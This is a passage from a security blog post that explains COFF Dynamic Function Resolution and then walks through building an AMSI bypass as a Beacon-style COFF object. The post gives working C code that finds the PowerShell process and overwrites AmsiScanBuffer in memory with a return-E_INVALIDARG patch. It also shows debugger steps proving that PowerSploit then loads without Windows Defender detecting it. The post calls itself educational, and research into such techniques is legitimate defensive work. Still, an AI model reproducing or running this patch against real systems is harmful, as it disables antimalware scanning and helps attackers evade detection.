There are two distinct methods for resolving Win32 APIs with regards to COFFs. The classic approach is to use the LoadLibraryA / GetModuleHandle / GetProcAddress functions. These can be used to directly resolve the Win32 APIs to invoke. Another approach is to use Dynamic Function Resolution (DFR) [15] which is the most widely used method. DFR provides the necessary information to the COFF Loader, which in turn resolves the Win32 API functions during the loading process of the COFF Object.

DFR is a practical solution for simplifying COFF writing by offloading the resolution of Win32 APIs to COFF Loader. The following two characteristics are applied:

  • DFR declarations are usually very verbose.
  • The LIBRARY$Function naming convention is necessary when calling Win32 API functions.

As an example, the usage of the  OpenProcess function requires the following DFR declaration:

DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);

The above code makes DFR call to OpenProcess from KERNEL32. The Macros, WINAPI and DECLSPEC_IMPORT are important because they provide the compiler with the needed hints to pass arguments and generate the right call instruction.


Implement AMSI bypass in COFF - A case study

At this point we will implement the AMSI bypass through byte patching technique in COFF and then after compilation the generated COFF object will be executed using the COFF Loader. We won't get into a lot of details about the research behind the AMSI bypass methods as it is not the main purpose of this blog post. Nevertheless, there are lots of blogs out there describing AMSI bypass techniques in great detail [8] [9] [10] [11]. This implementation used as a case study to showcase the misuse of COFF files in malicious activities. It should also be mentioned here that the purpose of this blog post is only educational.

According with Microsoft, The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI provides enhanced malware protection for end-users and their data, applications, and workloads. Windows Defender, naturally, acts as an AMSI provider as do many third-party AV solutions. AMSI acts as a bridge between an application and an AV engine.

For an application to submit a sample to AMSI, it must load amsi.dll into its address space and call a series of AMSI APIs exported from that DLL. These APIs will typically be:

  1. AmsiInitialize – initialises the AMSI API.
  2. AmsiOpenSession – used to correlate multiple scan requests.
  3. AmsiScanBuffer – scans the user-input.
  4. AmsiCloseSession – closes the session.
  5. AmsiUninitialize – removes the AMSI API instance.

Tools such as Process Hacker, windbg, x64dbg, will show that amsi.dll is indeed loaded into the process after AMSI has been initialised.

After running powershell we also run WinDBG and then we attach to the already running powershell process. Lets put a breakpoint at AmsiScanBuffer.

AmsiScanBufferBu1

Now lets import PowerSploit. Immediately after the Import we see that we hit our breakpoint on AmsiScanBuffer

AmsiScanBufferBu2

Then if we continue the execution the PowerSploit is identified as malicious

AmsiDetection

As mentioned at [8], we can force AmsiScanbuffer to return E_INVALIDARG error, using the following instructions

mov eax, 0x80070057  
ret

The value 0x80070057 is a standardised error code from Microsoft, which is E_INVALIDARG. It’s used by AmsiScanBuffer to return when the parameters passed by the caller are not valid.

In case we replace the instructions below with the instructions mentioned above

mov r11, rsp

We will then be able to bypass AMSI and load PowerSploit without being detected by Windows defender.

Lets see this in practice. First we attach powershell running process to x64dbg, and then we put a breakpoint to AmsiScanBuffer

amsidll

After we create the COFF object file we run the COFF Loader in order to load and execute it.

.\coffee.exe .\bamsi.o

We can see that we hit the breakpoint at AmsiScanBuffer.

amsiscanbuffer

Now if we hit enter again the instructions will be changed as mentioned earlier, and AMSI will be successfully bypassed.

amsiscanbufferaltered

As seen below the AMSI is successfully bypassed and we are able to import PowerSploit without detection

amsibypassed

As mentioned in the Dynamic Function Resolution ( DFR ) declaration section previously and CobaltStrike user guide [17] Dynamic Function Resolution is a convention to declare and call Win32 APIs as LIBRARY$Function and all the needed functions will be declared this way in a COFF object.

DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD);
DECLSPEC_IMPORT FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR);
DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD,DWORD);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$Process32Next(HANDLE,LPPROCESSENTRY32);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE ,LPVOID,LPCVOID,SIZE_T,SIZE_T);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$Process32First(HANDLE,LPPROCESSENTRY32);
DECLSPEC_IMPORT HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR);
DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE);
DECLSPEC_IMPORT DWORD KERNEL32$GetCurrentProcessId(VOID);
WINBASEAPI int __cdecl MSVCRT$_stricmp(const char *string1,const char *string2);
WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);

Also, besides the Windows API declaration, the relevant main() function in COFF objects is the go() function implemented as follows

void go(char* args, int len) {
	DWORD dwPid = 0;
	
	dwPid = GetPid("powershell.exe");
	if (dwPid == 0)
			dwPid = KERNEL32$GetCurrentProcessId();
	
	patchAmsiScanBuffer(dwPid);
}

The code above is very simple. First we get the PID of PowerShell and then we pass it in patchAmsiScanBuffer function which will perform the patching of AmsiScanBuffer

The following lines used to perform the byte patching

HANDLE hProc = NULL;
	SIZE_T bytes;
	hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, pid);
	PVOID amsiScanBuffAddr = KERNEL32$GetProcAddress(KERNEL32$LoadLibraryA("amsi.dll"), "AmsiScanBuffer");
	unsigned char amsiScanBuffBypass[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret
	BOOL success = KERNEL32$WriteProcessMemory(hProc, amsiScanBuffAddr, (PVOID)amsiScanBuffBypass, sizeof(amsiScanBuffBypass), &bytes);
	

The KERNEL32$LoadLibraryA will be used in order to load amsi.dll and from there using the KERNEL32$GetProcAddress we will get the address of AmsiScanBuffer. The patch is handled from KERNEL32$WriteProcessMemory using the handler acquired from KERNEL32$OpenProcess for the specific powershell PID

The full code can be found in my github page


Thank you for reading ! If you found this blog post useful don’t forget to donate

Buy Me A Coffee


Credits


References

  1. https://otterhacker.github.io/Malware/CoffLoader.html
  2. https://learn.microsoft.com/en-us/windows/win32/debug/pe-format#coff-file-header-object-and-image
  3. https://courses.cs.washington.edu/courses/cse378/03wi/lectures/LinkerFiles/coff.pdf
  4. https://learn.microsoft.com/en-us/windows/win32/debug/pe-format?ref=labs.hakaioffsec.com#coff-file-header-object-and-image
  5. https://github.com/trustedsec/COFFLoader?ref=labs.hakaioffsec.com
  6. https://trustedsec.com/blog/coffloader-building-your-own-in-memory-loader-or-how-to-run-bofs
  7. https://www.cobaltstrike.com/blog/simplifying-bof-development
  8. https://gustavshen.medium.com/bypass-amsi-on-windows-11-75d231b2cac6
  9. https://rxored.github.io/post/csharploader/bypassing-amsi-with-csharp/
  10. https://www.cyberark.com/resources/threat-research-blog/amsi-bypass-patching-technique
  11. https://rastamouse.me/memory-patching-amsi-bypass/
  12. https://en.wikipedia.org/wiki/COFF
  13. https://learn.microsoft.com/en-us/windows/win32/debug/pe-format
  14. https://wiki.osdev.org/COFF#:~:text=COFF%20stands%20for%20Common%20Object,a%20compiler%20or%20a%20linker.
  15. https://blog.sektor7.net/res/2022/CaFeBiBa.c
  16. https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_dynamic-func-resolution.htm
  17. https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/beacon-object-files_dynamic-func-resolution.htm?__hstc=173638140.6414503a994dbc53b910a88762106664.1709466014009.1711889263695.1711912941037.3&__hssc=173638140.1.1711912941037&__hsfp=2627675821&_gl=1n0axoy_gaMTAzODc3NjkwNS4xNzA5NDY2MDEz_ga_HNS2ZVG55R*MTcxMTkxMjkzOC40LjAuMTcxMTkxMjkzOC42MC4wLjA.